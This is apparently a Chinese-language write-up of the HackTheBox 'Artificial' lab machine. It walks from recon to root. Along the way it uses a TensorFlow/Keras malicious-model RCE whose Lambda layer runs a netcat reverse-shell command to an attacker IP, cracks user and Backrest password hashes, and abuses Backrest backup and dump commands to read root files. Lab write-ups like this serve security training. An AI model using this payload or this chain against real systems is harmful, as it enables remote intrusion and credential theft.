HackTheBox Season8 Artificial wp
一、信息收集
测试连通性,然后使用nmap收集信息,发现了网站首页

尝试收集子域名之类的信息,但是没有收获,应该只能从网站首页入手
二、获取立足点
在hosts内添加artificial.htb,访问网站,发现首页可以注册和登录,进行注册
登录后发现进入了文件上传的界面

查看一下requirements.txt,发现只显示了tensorflow-cpu==2.13.1,可以试着本地安装一下这个库
但是这里因为我的kali的python版本问题,只能用docker
下载网站的dockerfile文件,然后输入docker build -t my-image . 构建docker,再输入docker run -it my-image 进入到docker中
随后进行tensorflow的漏洞检索,发现了一个RCE能够使用 https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
先在本地创建一个setup.py文件,然后输入文章内的这段代码
点击查看代码
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 6666 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
在本地输入python -m http.server 8888,然后在docker内使用curl http://10.10.16.2:8888/setup.py > exploit.py 将可执行文件传入到docker中,然后执行该文件
此时docker内出现了exploit.h5文件

然后在本地使用docker cp 容器ID:/code/exploit.h5 . 命令将exploit.h5文件拷贝到本地
启动监听,在文件上传页面上传文件,再点击查看详情,成功获取拿到了反弹shell

三、userFlag
但是目前的权限较低,只能试着进行提权

此时在/app/instance目录下发现了数据库文件,使用sqlite进行查看

拿到了很多用户名以及加密后的密码,进行解密,成功拿到了gael用户的密码

登录到gael用户,成功拿到了userFlag

四、rootFlag
先使用常见的提权手段,看一下有没有能够利用的命令

并没有什么能够利用的,查看一下开放的端口,发现一个9898端口,转发到本地看看

使用ssh -L转发端口后,在本地打开9898端口,发现为Backrest的登录界面,Backrest是一个开源的web界面工具
试着检索Backrest 1.7.2的漏洞,但是没有收获,只能试着寻找靶机内有没有存在用户名和密码
这里使用find命令,发现/var/backups目录下存在backrest的备份文件,将其丢到本地解压

解压后在.config文件夹中发现了backrest的配置文件,里面包含了用户名和加密后的密码

虽然表明为BCrypt加密,但是很明显这时候还是base64编码后的结果,先base64解码,直接指定BCrypt加密方式爆破hash就可以了

先解码成正常的BCrypt加密模式,然后再使用hashcat指定加密模式进行爆破,成功得到了密码

然后回到9898端口的页面,用用户名和密码进行登录,成功进入到了管理页面

在Repositories添加一个仓库,随意填写即可

然后发现可以进行命令执行,这里输入help可以查看能使用那些命令以及命令对应的功能

可以发现有几个有帮助的命令:backup ls dump,可以想到通过备份文件的方式查看rootFlag
先使用backup命令备份root文件夹

然后使用ls+快照id查看,发现了rootFlag,以及.ssh密钥,基本打通了此靶场


再使用dump命令,即可拿到rootFlag


浙公网安备 33010602011771号